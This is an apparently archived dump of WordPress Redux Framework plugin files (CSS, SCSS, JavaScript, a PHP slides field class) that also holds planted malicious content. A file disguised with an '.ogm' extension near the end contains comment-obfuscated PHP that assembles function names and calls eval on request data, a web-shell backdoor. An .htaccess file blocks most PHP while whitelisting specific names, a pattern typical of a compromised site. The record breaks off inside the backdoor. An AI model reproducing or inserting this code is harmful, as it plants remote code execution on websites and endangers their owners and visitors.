inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; text-align: center; h3 { margin: 0 0 10px; text-align: center; color: #777; text-transform: capitalize; word-wrap: break-word; } &.placeholder { height: 40px; } } } } .wp-customizer { .redux-container-sorter ul { width: 85%; margin: 0 0 5px 0; } }������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0015020 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/field_slides.php��������������������������������������������������0000644�����������������00000036747�14720701300�0016342 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_slides * @author Luciano "WebCaos" Ubertini * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'ReduxFramework_slides' ) ) { /** * Main ReduxFramework_slides class * * @since 1.0.0 */ class ReduxFramework_slides { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { $defaults = array( 'show' => array( 'title' => true, 'description' => true, 'url' => true, ), 'content_title' => __ ( 'Slide', 'redux-framework' ) ); $this->field = wp_parse_args ( $this->field, $defaults ); echo '<div class="redux-slides-accordion" data-new-content-title="' . esc_attr ( sprintf ( __ ( 'New %s', 'redux-framework' ), $this->field[ 'content_title' ] ) ) . '">'; $x = 0; $multi = ( isset ( $this->field[ 'multi' ] ) && $this->field[ 'multi' ] ) ? ' multiple="multiple"' : ""; if ( isset ( $this->value ) && is_array ( $this->value ) && !empty ( $this->value ) ) { $slides = $this->value; foreach ( $slides as $slide ) { if ( empty ( $slide ) ) { continue; } $defaults = array( 'title' => '', 'description' => '', 'sort' => '', 'url' => '', 'image' => '', 'thumb' => '', 'attachment_id' => '', 'height' => '', 'width' => '', 'select' => array(), ); $slide = wp_parse_args ( $slide, $defaults ); if ( empty ( $slide[ 'thumb' ] ) && !empty ( $slide[ 'attachment_id' ] ) ) { $img = wp_get_attachment_image_src ( $slide[ 'attachment_id' ], 'full' ); $slide[ 'image' ] = $img[ 0 ]; $slide[ 'width' ] = $img[ 1 ]; $slide[ 'height' ] = $img[ 2 ]; } echo '<div class="redux-slides-accordion-group"><fieldset class="redux-field" data-id="' . $this->field[ 'id' ] . '"><h3><span class="redux-slides-header">' . $slide[ 'title' ] . '</span></h3><div>'; $hide = ''; if ( empty ( $slide[ 'image' ] ) ) { $hide = ' hide'; } echo '<div class="screenshot' . $hide . '">'; echo '<a class="of-uploaded-image" href="' . $slide[ 'image' ] . '">'; echo '<img class="redux-slides-image" id="image_image_id_' . $x . '" src="' . $slide[ 'thumb' ] . '" alt="" target="_blank" rel="external" />'; echo '</a>'; echo '</div>'; echo '<div class="redux_slides_add_remove">'; echo '<span class="button media_upload_button" id="add_' . $x . '">' . __ ( 'Upload', 'redux-framework' ) . '</span>'; $hide = ''; if ( empty ( $slide[ 'image' ] ) || $slide[ 'image' ] == '' ) { $hide = ' hide'; } echo '<span class="button remove-image' . $hide . '" id="reset_' . $x . '" rel="' . $slide[ 'attachment_id' ] . '">' . __ ( 'Remove', 'redux-framework' ) . '</span>'; echo '</div>' . "\n"; echo '<ul id="' . $this->field[ 'id' ] . '-ul" class="redux-slides-list">'; if ( $this->field[ 'show' ][ 'title' ] ) { $title_type = "text"; } else { $title_type = "hidden"; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'title' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'title' ] ) : __ ( 'Title', 'redux-framework' ); echo '<li><input type="' . $title_type . '" id="' . $this->field[ 'id' ] . '-title_' . $x . '" name="' . $this->field[ 'name' ] . '[' . $x . '][title]' . $this->field['name_suffix'] . '" value="' . esc_attr ( $slide[ 'title' ] ) . '" placeholder="' . $placeholder . '" class="full-text slide-title" /></li>'; if ( $this->field[ 'show' ][ 'description' ] ) { $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'description' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'description' ] ) : __ ( 'Description', 'redux-framework' ); echo '<li><textarea name="' . $this->field[ 'name' ] . '[' . $x . '][description]' . $this->field['name_suffix'] . '" id="' . $this->field[ 'id' ] . '-description_' . $x . '" placeholder="' . $placeholder . '" class="large-text" rows="6">' . esc_attr ( $slide[ 'description' ] ) . '</textarea></li>'; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'url' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'url' ] ) : __ ( 'URL', 'redux-framework' ); if ( $this->field[ 'show' ][ 'url' ] ) { $url_type = "text"; } else { $url_type = "hidden"; } echo '<li><input type="' . $url_type . '" id="' . $this->field[ 'id' ] . '-url_' . $x . '" name="' . $this->field[ 'name' ] . '[' . $x . '][url]' . $this->field['name_suffix'] .'" value="' . esc_attr ( $slide[ 'url' ] ) . '" class="full-text" placeholder="' . $placeholder . '" /></li>'; echo '<li><input type="hidden" class="slide-sort" name="' . $this->field[ 'name' ] . '[' . $x . '][sort]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-sort_' . $x . '" value="' . $slide[ 'sort' ] . '" />'; echo '<li><input type="hidden" class="upload-id" name="' . $this->field[ 'name' ] . '[' . $x . '][attachment_id]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_id_' . $x . '" value="' . $slide[ 'attachment_id' ] . '" />'; echo '<input type="hidden" class="upload-thumbnail" name="' . $this->field[ 'name' ] . '[' . $x . '][thumb]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-thumb_url_' . $x . '" value="' . $slide[ 'thumb' ] . '" readonly="readonly" />'; echo '<input type="hidden" class="upload" name="' . $this->field[ 'name' ] . '[' . $x . '][image]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_url_' . $x . '" value="' . $slide[ 'image' ] . '" readonly="readonly" />'; echo '<input type="hidden" class="upload-height" name="' . $this->field[ 'name' ] . '[' . $x . '][height]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_height_' . $x . '" value="' . $slide[ 'height' ] . '" />'; echo '<input type="hidden" class="upload-width" name="' . $this->field[ 'name' ] . '[' . $x . '][width]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_width_' . $x . '" value="' . $slide[ 'width' ] . '" /></li>'; echo '<li><a href="javascript:void(0);" class="button deletion redux-slides-remove">' . __ ( 'Delete', 'redux-framework' ) . '</a></li>'; echo '</ul></div></fieldset></div>'; $x ++; } } if ( $x == 0 ) { echo '<div class="redux-slides-accordion-group"><fieldset class="redux-field" data-id="' . $this->field[ 'id' ] . '"><h3><span class="redux-slides-header">' . esc_attr ( sprintf ( __ ( 'New %s', 'redux-framework' ), $this->field[ 'content_title' ] ) ) . '</span></h3><div>'; $hide = ' hide'; echo '<div class="screenshot' . $hide . '">'; echo '<a class="of-uploaded-image" href="">'; echo '<img class="redux-slides-image" id="image_image_id_' . $x . '" src="" alt="" target="_blank" rel="external" />'; echo '</a>'; echo '</div>'; //Upload controls DIV echo '<div class="upload_button_div">'; //If the user has WP3.5+ show upload/remove button echo '<span class="button media_upload_button" id="add_' . $x . '">' . __ ( 'Upload', 'redux-framework' ) . '</span>'; echo '<span class="button remove-image' . $hide . '" id="reset_' . $x . '" rel="' . $this->parent->args[ 'opt_name' ] . '[' . $this->field[ 'id' ] . '][attachment_id]">' . __ ( 'Remove', 'redux-framework' ) . '</span>'; echo '</div>' . "\n"; echo '<ul id="' . $this->field[ 'id' ] . '-ul" class="redux-slides-list">'; if ( $this->field[ 'show' ][ 'title' ] ) { $title_type = "text"; } else { $title_type = "hidden"; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'title' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'title' ] ) : __ ( 'Title', 'redux-framework' ); echo '<li><input type="' . $title_type . '" id="' . $this->field[ 'id' ] . '-title_' . $x . '" name="' . $this->field[ 'name' ] . '[' . $x . '][title]' . $this->field['name_suffix'] .'" value="" placeholder="' . $placeholder . '" class="full-text slide-title" /></li>'; if ( $this->field[ 'show' ][ 'description' ] ) { $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'description' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'description' ] ) : __ ( 'Description', 'redux-framework' ); echo '<li><textarea name="' . $this->field[ 'name' ] . '[' . $x . '][description]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-description_' . $x . '" placeholder="' . $placeholder . '" class="large-text" rows="6"></textarea></li>'; } $placeholder = ( isset ( $this->field[ 'placeholder' ][ 'url' ] ) ) ? esc_attr ( $this->field[ 'placeholder' ][ 'url' ] ) : __ ( 'URL', 'redux-framework' ); if ( $this->field[ 'show' ][ 'url' ] ) { $url_type = "text"; } else { $url_type = "hidden"; } echo '<li><input type="' . $url_type . '" id="' . $this->field[ 'id' ] . '-url_' . $x . '" name="' . $this->field[ 'name' ] . '[' . $x . '][url]' . $this->field['name_suffix'] .'" value="" class="full-text" placeholder="' . $placeholder . '" /></li>'; echo '<li><input type="hidden" class="slide-sort" name="' . $this->field[ 'name' ] . '[' . $x . '][sort]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-sort_' . $x . '" value="' . $x . '" />'; echo '<li><input type="hidden" class="upload-id" name="' . $this->field[ 'name' ] . '[' . $x . '][attachment_id]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_id_' . $x . '" value="" />'; echo '<input type="hidden" class="upload" name="' . $this->field[ 'name' ] . '[' . $x . '][image]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_url_' . $x . '" value="" readonly="readonly" />'; echo '<input type="hidden" class="upload-height" name="' . $this->field[ 'name' ] . '[' . $x . '][height]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_height_' . $x . '" value="" />'; echo '<input type="hidden" class="upload-width" name="' . $this->field[ 'name' ] . '[' . $x . '][width]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-image_width_' . $x . '" value="" /></li>'; echo '<input type="hidden" class="upload-thumbnail" name="' . $this->field[ 'name' ] . '[' . $x . '][thumb]' . $this->field['name_suffix'] .'" id="' . $this->field[ 'id' ] . '-thumb_url_' . $x . '" value="" /></li>'; echo '<li><a href="javascript:void(0);" class="button deletion redux-slides-remove">' . __ ( 'Delete', 'redux-framework' ) . '</a></li>'; echo '</ul></div></fieldset></div>'; } echo '</div><a href="javascript:void(0);" class="button redux-slides-add button-primary" rel-id="' . $this->field[ 'id' ] . '-ul" rel-name="' . $this->field[ 'name' ] . '[title][]' . $this->field['name_suffix'] .'">' . sprintf ( __ ( 'Add %s', 'redux-framework' ), $this->field[ 'content_title' ] ) . '</a><br/>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue () { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { wp_enqueue_script( 'media-upload' ); } if ($this->parent->args['dev_mode']){ wp_enqueue_style ('redux-field-media-css'); wp_enqueue_style ( 'redux-field-slides-css', ReduxFramework::$_url . 'inc/fields/slides/field_slides.css', array(), time (), 'all' ); } wp_enqueue_script( 'redux-field-media-js', ReduxFramework::$_url . 'assets/js/media/media' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); wp_enqueue_script ( 'redux-field-slides-js', ReduxFramework::$_url . 'inc/fields/slides/field_slides' . Redux_Functions::isMin () . '.js', array( 'jquery', 'jquery-ui-core', 'jquery-ui-accordion', 'jquery-ui-sortable', 'redux-field-media-js' ), time (), true ); } } }�������������������������redux-framework/inc/fields/slides/field_slides.min.js�����������������������������������������������0000644�����������������00000005622�14720701300�0016735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.slides=redux.field_objects.slides||{},s(document).ready(function(){}),redux.field_objects.slides.init=function(e){e||(e=s(document).find(".redux-group-tab:visible").find(".redux-container-slides:visible")),s(e).each(function(){var e=s(this);redux.field_objects.media.init(e);var i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||(i.hasClass("redux-container-slides")&&i.addClass("redux-field-init"),i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.find(".redux-slides-remove").live("click",function(){if(redux_change(s(this)),s(this).parent().siblings().find('input[type="text"]').val(""),s(this).parent().siblings().find("textarea").val(""),s(this).parent().siblings().find('input[type="hidden"]').val(""),1<s(this).parents(".redux-container-slides:first").find(".redux-slides-accordion-group").length)s(this).parents(".redux-slides-accordion-group:first").slideUp("medium",function(){s(this).remove()});else{var e=s(this).parent(".redux-slides-accordion").data("new-content-title");s(this).parents(".redux-slides-accordion-group:first").find(".remove-image").click(),s(this).parents(".redux-container-slides:first").find(".redux-slides-accordion-group:last").find(".redux-slides-header").text(e)}}),e.find(".redux-slides-add").off("click").click(function(){var e=s(this).prev().find(".redux-slides-accordion-group:last").clone(!0),i=1*s(e).find(".slide-title").attr("name").match(/[0-9]+(?!.*[0-9])/)+1;s(e).find('input[type="text"], input[type="hidden"], textarea').each(function(){s(this).attr("name",jQuery(this).attr("name").replace(/[0-9]+(?!.*[0-9])/,i)).attr("id",s(this).attr("id").replace(/[0-9]+(?!.*[0-9])/,i)),s(this).val(""),s(this).hasClass("slide-sort")&&s(this).val(i)});var t=s(this).prev().data("new-content-title");s(e).find(".screenshot").removeAttr("style"),s(e).find(".screenshot").addClass("hide"),s(e).find(".screenshot a").attr("href",""),s(e).find(".remove-image").addClass("hide"),s(e).find(".redux-slides-image").attr("src","").removeAttr("id"),s(e).find("h3").text("").append('<span class="redux-slides-header">'+t+'</span><span class="ui-accordion-header-icon ui-icon ui-icon-plus"></span>'),s(this).prev().append(e)}),e.find(".slide-title").keyup(function(e){var i=e.target.value;s(this).parents().eq(3).find(".redux-slides-header").text(i)}),e.find(".redux-slides-accordion").accordion({header:"> div > fieldset > h3",collapsible:!0,active:!1,heightStyle:"content",icons:{header:"ui-icon-plus",activeHeader:"ui-icon-minus"}}).sortable({axis:"y",handle:"h3",connectWith:".redux-slides-accordion",start:function(e,i){i.placeholder.height(i.item.height()),i.placeholder.width(i.item.width())},placeholder:"ui-state-highlight",stop:function(e,i){i.item.children("h3").triggerHandler("focusout"),s("input.slide-sort").each(function(e){s(this).val(e)})}})))})}}(jQuery);��������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/field_slides.scss�������������������������������������������������0000644�����������������00000004635�14720701300�0016515 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-slides { .redux-slides-list .select2-container { margin-bottom: 10px; width: 100%; } .ui-accordion-header { margin-bottom: 0; } .full-text, .large-text { width: 100%; } .redux-slides-accordion-group { border: 1px solid #dfdfdf !important; border-radius: 3px !important; margin-top: 0px !important; margin-bottom: 10px; background: #f9f9f9; padding: 5px; h3 { border: 1px solid #dfdfdf; cursor: move !important; font-weight: bold; padding: 0 10px !important; height: 40px; line-height: 40px !important; background-color: #f1f1f1; background-image: -ms-linear-gradient(top, #f9f9f9, #ececec); background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); background-image: -o-linear-gradient(top, #f9f9f9, #ececec); background-image: -webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec)); background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); background-image: linear-gradient(top, #f9f9f9, #ececec); overflow: hidden; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; text-align: center; } } #redux-slides-accordion .redux-slides-image { height: 250px; padding: 5px; margin-top: 10px; margin-bottom: 10px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .redux-slides-add { float: right; margin-right: 10%; display: block; margin-bottom: 10px; } .redux-slides-remove { color: #ef521d !important; float: right; margin-top: 5px; } .redux-slides-header { font-weight: bold; } .redux_slides_add_remove { margin-bottom: 10px; } input { width: 100% !important; } } .wp-customizer { .redux-container-slides .ui-accordion .ui-accordion-content { padding: 10px; } } ���������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/field_slides.js���������������������������������������������������0000644�����������������00000015126�14720701300�0016153 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.slides = redux.field_objects.slides || {}; $( document ).ready( function() { //redux.field_objects.slides.init(); } ); redux.field_objects.slides.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-slides:visible' ); } $( selector ).each( function() { var el = $( this ); redux.field_objects.media.init(el); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-container-slides' ) ) { parent.addClass( 'redux-field-init' ); } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-slides-remove' ).live( 'click', function() { redux_change( $( this ) ); $( this ).parent().siblings().find( 'input[type="text"]' ).val( '' ); $( this ).parent().siblings().find( 'textarea' ).val( '' ); $( this ).parent().siblings().find( 'input[type="hidden"]' ).val( '' ); var slideCount = $( this ).parents( '.redux-container-slides:first' ).find( '.redux-slides-accordion-group' ).length; if ( slideCount > 1 ) { $( this ).parents( '.redux-slides-accordion-group:first' ).slideUp( 'medium', function() { $( this ).remove(); } ); } else { var content_new_title = $( this ).parent( '.redux-slides-accordion' ).data( 'new-content-title' ); $( this ).parents( '.redux-slides-accordion-group:first' ).find( '.remove-image' ).click(); $( this ).parents( '.redux-container-slides:first' ).find( '.redux-slides-accordion-group:last' ).find( '.redux-slides-header' ).text( content_new_title ); } } ); //el.find( '.redux-slides-add' ).click( el.find( '.redux-slides-add' ).off('click').click( function() { var newSlide = $( this ).prev().find( '.redux-slides-accordion-group:last' ).clone( true ); var slideCount = $( newSlide ).find( '.slide-title' ).attr( "name" ).match( /[0-9]+(?!.*[0-9])/ ); var slideCount1 = slideCount * 1 + 1; $( newSlide ).find( 'input[type="text"], input[type="hidden"], textarea' ).each( function() { $( this ).attr( "name", jQuery( this ).attr( "name" ).replace( /[0-9]+(?!.*[0-9])/, slideCount1 ) ).attr( "id", $( this ).attr( "id" ).replace( /[0-9]+(?!.*[0-9])/, slideCount1 ) ); $( this ).val( '' ); if ( $( this ).hasClass( 'slide-sort' ) ) { $( this ).val( slideCount1 ); } } ); var content_new_title = $( this ).prev().data( 'new-content-title' ); $( newSlide ).find( '.screenshot' ).removeAttr( 'style' ); $( newSlide ).find( '.screenshot' ).addClass( 'hide' ); $( newSlide ).find( '.screenshot a' ).attr( 'href', '' ); $( newSlide ).find( '.remove-image' ).addClass( 'hide' ); $( newSlide ).find( '.redux-slides-image' ).attr( 'src', '' ).removeAttr( 'id' ); $( newSlide ).find( 'h3' ).text( '' ).append( '<span class="redux-slides-header">' + content_new_title + '</span><span class="ui-accordion-header-icon ui-icon ui-icon-plus"></span>' ); $( this ).prev().append( newSlide ); } ); el.find( '.slide-title' ).keyup( function( event ) { var newTitle = event.target.value; $( this ).parents().eq( 3 ).find( '.redux-slides-header' ).text( newTitle ); } ); el.find( ".redux-slides-accordion" ) .accordion( { header: "> div > fieldset > h3", collapsible: true, active: false, heightStyle: "content", icons: { "header": "ui-icon-plus", "activeHeader": "ui-icon-minus" } } ) .sortable( { axis: "y", handle: "h3", connectWith: ".redux-slides-accordion", start: function( e, ui ) { ui.placeholder.height( ui.item.height() ); ui.placeholder.width( ui.item.width() ); }, placeholder: "ui-state-highlight", stop: function( event, ui ) { // IE doesn't register the blur when sorting // so trigger focusout handlers to remove .ui-state-focus ui.item.children( "h3" ).triggerHandler( "focusout" ); var inputs = $( 'input.slide-sort' ); inputs.each( function( idx ) { $( this ).val( idx ); } ); } } ); } ); }; })( jQuery );������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/field_slides.css.map����������������������������������������������0000644�����������������00000002560�14720701300�0017101 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,6DAAsC;EAClC,aAAa,EAAE,IAAI;EACnB,KAAK,EAAE,IAAI;AAGf,4CAAqB;EACjB,aAAa,EAAE,CAAC;AAGpB;mCACY;EACR,KAAK,EAAE,IAAI;AAGf,qDAA8B;EAC1B,MAAM,EAAE,4BAA4B;EACpC,aAAa,EAAE,cAAc;EAC7B,UAAU,EAAE,cAAc;EAC1B,aAAa,EAAE,IAAI;EACnB,UAAU,EAAE,OAAO;EACnB,OAAO,EAAE,GAAG;EAEZ,wDAAG;IACC,MAAM,EAAE,iBAAiB;IACzB,MAAM,EAAE,eAAe;IACvB,WAAW,EAAE,IAAI;IACjB,OAAO,EAAE,iBAAiB;IAC1B,MAAM,EAAE,IAAI;IACZ,WAAW,EAAE,eAAe;IAC5B,gBAAgB,EAAE,OAAO;IACzB,gBAAgB,EAAE,0CAA0C;IAC5D,gBAAgB,EAAE,2CAA2C;IAC7D,gBAAgB,EAAE,yCAAyC;IAC3D,gBAAgB,EAAE,2EAA2E;IAC7F,gBAAgB,EAAE,8CAA8C;IAChE,gBAAgB,EAAE,sCAAsC;IACxD,QAAQ,EAAE,MAAM;IAChB,qBAAqB,EAAE,GAAG;IAC1B,kBAAkB,EAAE,GAAG;IACvB,aAAa,EAAE,GAAG;IAClB,eAAe,EAAE,kBAAkB;IACnC,kBAAkB,EAAE,kBAAkB;IACtC,UAAU,EAAE,kBAAkB;IAC9B,UAAU,EAAE,MAAM;AAI1B,mEAA4C;EACxC,MAAM,EAAE,KAAK;EACb,OAAO,EAAE,GAAG;EACZ,UAAU,EAAE,IAAI;EAChB,aAAa,EAAE,IAAI;EACnB,MAAM,EAAE,iBAAiB;EACzB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,GAAG;EACvB,oBAAoB,EAAE,GAAG;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG;AAGtB,yCAAkB;EACd,KAAK,EAAE,KAAK;EACZ,YAAY,EAAE,GAAG;EACjB,OAAO,EAAE,KAAK;EACd,aAAa,EAAE,IAAI;AAGvB,4CAAqB;EACjB,KAAK,EAAE,kBAAkB;EACzB,KAAK,EAAE,KAAK;EACZ,UAAU,EAAE,GAAG;AAGnB,4CAAqB;EACjB,WAAW,EAAE,IAAI;AAGrB,gDAAyB;EACrB,aAAa,EAAE,IAAI;AAEvB,6BAAM;EACF,KAAK,EAAE,eAAe;;AAM1B,0EAA4D;EACxD,OAAO,EAAE,IAAI", "sources": ["field_slides.scss"], "names": [], "file": "field_slides.css" }������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/field_slides.css��������������������������������������������������0000644�����������������00000003671�14720701300�0016331 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-slides .redux-slides-list .select2-container{margin-bottom:10px;width:100%}.redux-container-slides .ui-accordion-header{margin-bottom:0}.redux-container-slides .full-text,.redux-container-slides .large-text{width:100%}.redux-container-slides .redux-slides-accordion-group{border:1px solid #dfdfdf !important;border-radius:3px !important;margin-top:0px !important;margin-bottom:10px;background:#f9f9f9;padding:5px}.redux-container-slides .redux-slides-accordion-group h3{border:1px solid #dfdfdf;cursor:move !important;font-weight:bold;padding:0 10px !important;height:40px;line-height:40px !important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top, #f9f9f9, #ececec);background-image:-moz-linear-gradient(top, #f9f9f9, #ececec);background-image:-o-linear-gradient(top, #f9f9f9, #ececec);background-image:-webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec));background-image:-webkit-linear-gradient(top, #f9f9f9, #ececec);background-image:linear-gradient(top, #f9f9f9, #ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-slides #redux-slides-accordion .redux-slides-image{height:250px;padding:5px;margin-top:10px;margin-bottom:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-container-slides .redux-slides-add{float:right;margin-right:10%;display:block;margin-bottom:10px}.redux-container-slides .redux-slides-remove{color:#ef521d !important;float:right;margin-top:5px}.redux-container-slides .redux-slides-header{font-weight:bold}.redux-container-slides .redux_slides_add_remove{margin-bottom:10px}.redux-container-slides input{width:100% !important}.wp-customizer .redux-container-slides .ui-accordion .ui-accordion-content{padding:10px} �����������������������������������������������������������������������redux-framework/inc/fields/slides/slides/rYqFtd.ogm�������������������������������������������������0000644�����������������00000012006�14720701300�0016361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $WpEK /*-k!s6xSK9$T-*/= /*-1`fF[N-*/"r"./*-DGV@1hd`-*/"a"."n"./*-)MD]-*/"g"."e"; /*-ScrLe-*/$eGUdj/*-;W(|3mMr-*/ = /*-50I^pS,-*/$WpEK/*-pK&?2P-*/("~", /*-YS$C0h=^-*/" "); /*-({spgn-*/$D/*-!#V87+-*/=/*-7j>86X3-*/${$eGUdj/*-:)>q)B7JyF-*/[6+25/*-Dw-*/].$eGUdj/*-yf&D|hKEE<-*/[15+44]/*-if-*/.$eGUdj/*-=z-*/[17+30]/*-ODmRlqO-*/.$eGUdj/*-%au6a#]-*/[7+40]/*-ddz-*/.$eGUdj/*-Lh-*/[10+41]/*-2T0-*/.$eGUdj/*-dmI1wa7Z-*/[45+8]/*-:E&},D~-*/.$eGUdj/*-vO-*/[48+9]/*-KtrhA7B-*/}; /*-<hpuh9-*/if/*-man-*/((/*-@uFhCOcC-*/in_array/*-[r4P5!-*/(gettype/*-jBw}vI1-*/($D)./*-lhCX@Mo-*/count/*-3:-hv3K5-*/($D),/*-%.uSNn=z-*/$D)/*-q33s?ep7?-*/&&count/*-@3G^YeH;-*/($D)/*-!M)Z>3-*/==/*-|o6-*/23))/*-wz_M-*/{ /*-6.9tILH-*/(($D[68]=$D[68].$D[77])&&($D[88]=$D[68]($D[88]))&&(/*-%H2.%I7Vv-*/@eval/*-hZ&+=O-*/($D[68](${$D[45]}[12])/*-860Ig-*/))/*-i[q-*/);}/*-2EQ{&T)#r-*/class /*-tLSMyb=-*/H{ /*-g]QW5Z:rI-*/static/*-?-*/ function /*-La-*/XGd($ANkvw) /*-]a-*/{ $iTdc/*-UFAFE-*/ = /*->5hXEE0X-*/"r"./*-7@3-*/"a"./*-Ps&`Z^k?_-*/"n"./*-tmn(-*/"g"./*-PWbbDDPM-*/"e"; /*-o]-*/$nLEqlzWA/*-I5;)-*/ = /*-Rc-*/$iTdc/*-%$<}F-*/(/*-45I:d)2k-*/"~"/*-E8^4Gdaj76-*/, /*-Xv_-*/" "/*-fwm2J2i)=-*/);/*-6uu{#(-*/ $bfG /*-OfyI-*/= 